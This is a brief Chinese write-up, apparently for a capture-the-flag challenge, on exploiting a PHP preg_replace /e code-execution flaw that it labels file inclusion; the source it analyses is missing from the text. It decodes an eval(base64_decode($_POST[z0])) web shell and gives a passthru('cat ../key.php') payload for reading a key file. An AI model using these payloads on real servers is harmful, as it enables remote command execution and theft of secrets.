文件包含漏洞

有源码如下:


Hello

分析:

  • 首先把这串字符串通过base64解码可得[@eval(base64_decode($_POST[z0]));]那么原来的语句就变成了@preg_replace("/\[(.*)\]/e",'\\1',[@eval(base64_decode($_POST[z0]);]));
  • 那么把$_POST[z0]进行base64encode即可,最后通过post的方式将z0与Hello一并发送出去
  • payload可以设置成echo passthru("cat ../key.php");

你可能感兴趣的:(文件包含漏洞)